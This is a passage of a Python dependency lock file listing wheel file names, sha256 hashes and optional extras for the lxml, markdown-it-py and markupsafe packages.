"sha256:29bfc8d3d88e56ea0a27e7c4897b642706840247f59f4377d81be8f32aa0cfbf"}, {file = "lxml-5.3.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c093c7088b40d8266f57ed71d93112bd64c6724d31f0794c1e52cc4857c28e0e"}, {file = "lxml-5.3.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b0884e3f22d87c30694e625b1e62e6f30d39782c806287450d9dc2fdf07692fd"}, {file = "lxml-5.3.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1637fa31ec682cd5760092adfabe86d9b718a75d43e65e211d5931809bc111e7"}, {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a364e8e944d92dcbf33b6b494d4e0fb3499dcc3bd9485beb701aa4b4201fa414"}, {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:779e851fd0e19795ccc8a9bb4d705d6baa0ef475329fe44a13cf1e962f18ff1e"}, {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c4393600915c308e546dc7003d74371744234e8444a28622d76fe19b98fa59d1"}, {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:673b9d8e780f455091200bba8534d5f4f465944cbdd61f31dc832d70e29064a5"}, {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:2e4a570f6a99e96c457f7bec5ad459c9c420ee80b99eb04cbfcfe3fc18ec6423"}, {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:71f31eda4e370f46af42fc9f264fafa1b09f46ba07bdbee98f25689a04b81c20"}, {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:42978a68d3825eaac55399eb37a4d52012a205c0c6262199b8b44fcc6fd686e8"}, {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:8b1942b3e4ed9ed551ed3083a2e6e0772de1e5e3aca872d955e2e86385fb7ff9"}, {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:85c4f11be9cf08917ac2a5a8b6e1ef63b2f8e3799cec194417e76826e5f1de9c"}, {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:231cf4d140b22a923b1d0a0a4e0b4f972e5893efcdec188934cc65888fd0227b"}, {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5865b270b420eda7b68928d70bb517ccbe045e53b1a428129bb44372bf3d7dd5"}, {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dbf7bebc2275016cddf3c997bf8a0f7044160714c64a9b83975670a04e6d2252"}, {file = "lxml-5.3.1-cp313-cp313-win32.whl", hash = "sha256:d0751528b97d2b19a388b302be2a0ee05817097bab46ff0ed76feeec24951f78"}, {file = "lxml-5.3.1-cp313-cp313-win_amd64.whl", hash = "sha256:91fb6a43d72b4f8863d21f347a9163eecbf36e76e2f51068d59cd004c506f332"}, {file = "lxml-5.3.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:016b96c58e9a4528219bb563acf1aaaa8bc5452e7651004894a973f03b84ba81"}, {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:82a4bb10b0beef1434fb23a09f001ab5ca87895596b4581fd53f1e5145a8934a"}, {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3d68eeef7b4d08a25e51897dac29bcb62aba830e9ac6c4e3297ee7c6a0cf6439"}, {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:f12582b8d3b4c6be1d298c49cb7ae64a3a73efaf4c2ab4e37db182e3545815ac"}, {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:2df7ed5edeb6bd5590914cd61df76eb6cce9d590ed04ec7c183cf5509f73530d"}, {file = "lxml-5.3.1-cp36-cp36m-musllinux_1_2_x86_64.whl", hash = "sha256:585c4dc429deebc4307187d2b71ebe914843185ae16a4d582ee030e6cfbb4d8a"}, {file = "lxml-5.3.1-cp36-cp36m-win32.whl", hash = "sha256:06a20d607a86fccab2fc15a77aa445f2bdef7b49ec0520a842c5c5afd8381576"}, {file = "lxml-5.3.1-cp36-cp36m-win_amd64.whl", hash = "sha256:057e30d0012439bc54ca427a83d458752ccda725c1c161cc283db07bcad43cf9"}, {file = "lxml-5.3.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4867361c049761a56bd21de507cab2c2a608c55102311d142ade7dab67b34f32"}, {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3dddf0fb832486cc1ea71d189cb92eb887826e8deebe128884e15020bb6e3f61"}, {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1bcc211542f7af6f2dfb705f5f8b74e865592778e6cafdfd19c792c244ccce19"}, {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaca5a812f050ab55426c32177091130b1e49329b3f002a32934cd0245571307"}, {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:236610b77589faf462337b3305a1be91756c8abc5a45ff7ca8f245a71c5dab70"}, {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:aed57b541b589fa05ac248f4cb1c46cbb432ab82cbd467d1c4f6a2bdc18aecf9"}, {file = "lxml-5.3.1-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:75fa3d6946d317ffc7016a6fcc44f42db6d514b7fdb8b4b28cbe058303cb6e53"}, {file = "lxml-5.3.1-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:96eef5b9f336f623ffc555ab47a775495e7e8846dde88de5f941e2906453a1ce"}, {file = "lxml-5.3.1-cp37-cp37m-win32.whl", hash = "sha256:ef45f31aec9be01379fc6c10f1d9c677f032f2bac9383c827d44f620e8a88407"}, {file = "lxml-5.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0611da6b07dd3720f492db1b463a4d1175b096b49438761cc9f35f0d9eaaef5"}, {file = "lxml-5.3.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b2aca14c235c7a08558fe0a4786a1a05873a01e86b474dfa8f6df49101853a4e"}, {file = "lxml-5.3.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae82fce1d964f065c32c9517309f0c7be588772352d2f40b1574a214bd6e6098"}, {file = "lxml-5.3.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7aae7a3d63b935babfdc6864b31196afd5145878ddd22f5200729006366bc4d5"}, {file = "lxml-5.3.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e8e0d177b1fe251c3b1b914ab64135475c5273c8cfd2857964b2e3bb0fe196a7"}, {file = "lxml-5.3.1-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:6c4dd3bfd0c82400060896717dd261137398edb7e524527438c54a8c34f736bf"}, {file = "lxml-5.3.1-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:f1208c1c67ec9e151d78aa3435aa9b08a488b53d9cfac9b699f15255a3461ef2"}, {file = "lxml-5.3.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:c6aacf00d05b38a5069826e50ae72751cb5bc27bdc4d5746203988e429b385bb"}, {file = "lxml-5.3.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:5881aaa4bf3a2d086c5f20371d3a5856199a0d8ac72dd8d0dbd7a2ecfc26ab73"}, {file = "lxml-5.3.1-cp38-cp38-win32.whl", hash = "sha256:45fbb70ccbc8683f2fb58bea89498a7274af1d9ec7995e9f4af5604e028233fc"}, {file = "lxml-5.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:7512b4d0fc5339d5abbb14d1843f70499cab90d0b864f790e73f780f041615d7"}, {file = "lxml-5.3.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5885bc586f1edb48e5d68e7a4b4757b5feb2a496b64f462b4d65950f5af3364f"}, {file = "lxml-5.3.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1b92fe86e04f680b848fff594a908edfa72b31bfc3499ef7433790c11d4c8cd8"}, {file = "lxml-5.3.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a091026c3bf7519ab1e64655a3f52a59ad4a4e019a6f830c24d6430695b1cf6a"}, {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8ffb141361108e864ab5f1813f66e4e1164181227f9b1f105b042729b6c15125"}, {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3715cdf0dd31b836433af9ee9197af10e3df41d273c19bb249230043667a5dfd"}, {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88b72eb7222d918c967202024812c2bfb4048deeb69ca328363fb8e15254c549"}, {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa59974880ab5ad8ef3afaa26f9bda148c5f39e06b11a8ada4660ecc9fb2feb3"}, {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:3bb8149840daf2c3f97cebf00e4ed4a65a0baff888bf2605a8d0135ff5cf764e"}, {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_ppc64le.whl", hash = "sha256:0d6b2fa86becfa81f0a0271ccb9eb127ad45fb597733a77b92e8a35e53414914"}, {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_s390x.whl", hash = "sha256:136bf638d92848a939fd8f0e06fcf92d9f2e4b57969d94faae27c55f3d85c05b"}, {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:89934f9f791566e54c1d92cdc8f8fd0009447a5ecdb1ec6b810d5f8c4955f6be"}, {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a8ade0363f776f87f982572c2860cc43c65ace208db49c76df0a21dde4ddd16e"}, {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:bfbbab9316330cf81656fed435311386610f78b6c93cc5db4bebbce8dd146675"}, {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:172d65f7c72a35a6879217bcdb4bb11bc88d55fb4879e7569f55616062d387c2"}, {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:e3c623923967f3e5961d272718655946e5322b8d058e094764180cdee7bab1af"}, {file = "lxml-5.3.1-cp39-cp39-win32.whl", hash = "sha256:ce0930a963ff593e8bb6fda49a503911accc67dee7e5445eec972668e672a0f0"}, {file = "lxml-5.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:f7b64fcd670bca8800bc10ced36620c6bbb321e7bc1214b9c0c0df269c1dddc2"}, {file = "lxml-5.3.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:afa578b6524ff85fb365f454cf61683771d0170470c48ad9d170c48075f86725"}, {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67f5e80adf0aafc7b5454f2c1cb0cde920c9b1f2cbd0485f07cc1d0497c35c5d"}, {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2dd0b80ac2d8f13ffc906123a6f20b459cb50a99222d0da492360512f3e50f84"}, {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:422c179022ecdedbe58b0e242607198580804253da220e9454ffe848daa1cfd2"}, {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:524ccfded8989a6595dbdda80d779fb977dbc9a7bc458864fc9a0c2fc15dc877"}, {file = "lxml-5.3.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:48fd46bf7155def2e15287c6f2b133a2f78e2d22cdf55647269977b873c65499"}, {file = "lxml-5.3.1-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:05123fad495a429f123307ac6d8fd6f977b71e9a0b6d9aeeb8f80c017cb17131"}, {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a243132767150a44e6a93cd1dde41010036e1cbc63cc3e9fe1712b277d926ce3"}, {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c92ea6d9dd84a750b2bae72ff5e8cf5fdd13e58dda79c33e057862c29a8d5b50"}, {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:2f1be45d4c15f237209bbf123a0e05b5d630c8717c42f59f31ea9eae2ad89394"}, {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:a83d3adea1e0ee36dac34627f78ddd7f093bb9cfc0a8e97f1572a949b695cb98"}, {file = "lxml-5.3.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:3edbb9c9130bac05d8c3fe150c51c337a471cc7fdb6d2a0a7d3a88e88a829314"}, {file = "lxml-5.3.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:2f23cf50eccb3255b6e913188291af0150d89dab44137a69e14e4dcb7be981f1"}, {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:df7e5edac4778127f2bf452e0721a58a1cfa4d1d9eac63bdd650535eb8543615"}, {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:094b28ed8a8a072b9e9e2113a81fda668d2053f2ca9f2d202c2c8c7c2d6516b1"}, {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:514fe78fc4b87e7a7601c92492210b20a1b0c6ab20e71e81307d9c2e377c64de"}, {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:8fffc08de02071c37865a155e5ea5fce0282e1546fd5bde7f6149fcaa32558ac"}, {file = "lxml-5.3.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:4b0d5cdba1b655d5b18042ac9c9ff50bda33568eb80feaaca4fc237b9c4fbfde"}, {file = "lxml-5.3.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3031e4c16b59424e8d78522c69b062d301d951dc55ad8685736c3335a97fc270"}, {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb659702a45136c743bc130760c6f137870d4df3a9e14386478b8a0511abcfca"}, {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5a11b16a33656ffc43c92a5343a28dc71eefe460bcc2a4923a96f292692709f6"}, {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c5ae125276f254b01daa73e2c103363d3e99e3e10505686ac7d9d2442dd4627a"}, {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c76722b5ed4a31ba103e0dc77ab869222ec36efe1a614e42e9bcea88a36186fe"}, {file = "lxml-5.3.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:33e06717c00c788ab4e79bc4726ecc50c54b9bfb55355eae21473c145d83c2d2"}, {file = "lxml-5.3.1.tar.gz", hash = "sha256:106b7b5d2977b339f1e97efe2778e2ab20e99994cbb0ec5e55771ed0795920c8"}, ] [package.extras] cssselect = ["cssselect (>=0.7)"] html-clean = ["lxml_html_clean"] html5 = ["html5lib"] htmlsoup = ["BeautifulSoup4"] source = ["Cython (>=3.0.11,<3.1.0)"] [[package]] name = "markdown-it-py" version = "3.0.0" description = "Python port of markdown-it. Markdown parsing, done right!" optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"}, {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"}, ] [package.dependencies] mdurl = ">=0.1,<1.0" [package.extras] benchmarking = ["psutil", "pytest", "pytest-benchmark"] code-style = ["pre-commit (>=3.0,<4.0)"] compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"] linkify = ["linkify-it-py (>=1,<3)"] plugins = ["mdit-py-plugins"] profiling = ["gprof2dot"] rtd = ["jupyter_sphinx", "mdit-py-plugins", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"] testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] [[package]] name = "markupsafe" version = "3.0.2" description = "Safely add untrusted strings to HTML/XML markup." optional = false python-versions = ">=3.9" groups = ["main"] files = [ {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7e94c425039cde14257288fd61dcfb01963e658efbc0ff54f5306b06054700f8"}, {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9e2d922824181480953426608b81967de705c3cef4d1af983af849d7bd619158"}, {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38a9ef736c01fccdd6600705b09dc574584b89bea478200c5fbf112a6b0d5579"}, {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbcb445fa71794da8f178f0f6d66789a28d7319071af7a496d4d507ed566270d"}, {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57cb5a3cf367aeb1d316576250f65edec5bb3be939e9247ae594b4bcbc317dfb"}, {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3809ede931876f5b2ec92eef964286840ed3540dadf803dd570c3b7e13141a3b"}, {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e07c3764494e3776c602c1e78e298937c3315ccc9043ead7e685b7f2b8d47b3c"}, {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b424c77b206d63d500bcb69fa55ed8d0e6a3774056bdc4839fc9298a7edca171"}, {file = "MarkupSafe-3.0.2-cp310-cp310-win32.whl", hash = "sha256:fcabf5ff6eea076f859677f5f0b6b5c1a51e70a376b0579e0eadef8db48c6b50"}, {file = "MarkupSafe-3.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:6af100e168aa82a50e186c82875a5893c5597a0c1ccdb0d8b40240b1f28b969a"}, {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9025b4018f3a1314059769c7bf15441064b2207cb3f065e6ea1e7359cb46db9d"}, {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:93335ca3812df2f366e80509ae119189886b0f3c2b81325d39efdb84a1e2ae93"}, {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2cb8438c3cbb25e220c2ab33bb226559e7afb3baec11c4f218ffa7308603c832"}, {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a123e330ef0853c6e822384873bef7507557d8e4a082961e1defa947aa59ba84"}, {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e084f686b92e5b83186b07e8a17fc09e38fff551f3602b249881fec658d3eca"}, {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798"}, {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5b02fb34468b6aaa40dfc198d813a641e3a63b98c2b05a16b9f80b7ec314185e"}, {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0bff5e0ae4ef2e1ae4fdf2dfd5b76c75e5c2fa4132d05fc1b0dabcd20c7e28c4"}, {file = "MarkupSafe-3.0.2-cp311-cp311-win32.whl", hash = "sha256:6c89876f41da747c8d3677a2b540fb32ef5715f97b66eeb0c6b66f5e3ef6f59d"}, {file = "MarkupSafe-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:70a87b411535ccad5ef2f1df5136506a10775d267e197e4cf531ced10537bd6b"}, {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf"}, {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225"}, {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028"}, {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8"}, {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c"}, {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557"}, {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22"}, {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48"}, {file = "MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30"}, {file = "MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87"}, {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd"}, {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430"}, {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094"}, {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396"}, {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79"}, {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a"}, {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca"}, {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c"}, {file = "MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1"}, {file = "MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f"}, {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c"}, {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb"}, {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c"}, {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d"}, {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe"}, {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5"}, {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a"}, {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9"}, {file = "MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6"}, {file = "MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f"}, {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:eaa0a10b7f72326f1372a713e73c3f739b524b3af41feb43e4921cb529f5929a"}, {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:48032821bbdf20f5799ff537c7ac3d1fba0ba032cfc06194faffa8cda8b560ff"}, {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a9d3f5f0901fdec14d8d2f66ef7d035f2157240a433441719ac9a3fba440b13"}, {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88b49a3b9ff31e19998750c38e030fc7bb937398b1f78cfa599aaef92d693144"}, {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cfad01eed2c2e0c01fd0ecd2ef42c492f7f93902e39a42fc9ee1692961443a29"}, {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1225beacc926f536dc82e45f8a4d68502949dc67eea90eab715dea3a21c1b5f0"}, {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3169b1eefae027567d1ce6ee7cae382c57fe26e82775f460f0b2778beaad66c0"}, {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:eb7972a85c54febfb25b5c4b4f3af4dcc731994c7da0d8a0b4a6eb0640e1d178"}, {file = "MarkupSafe-3.0.2-cp39-cp39-win32.whl", 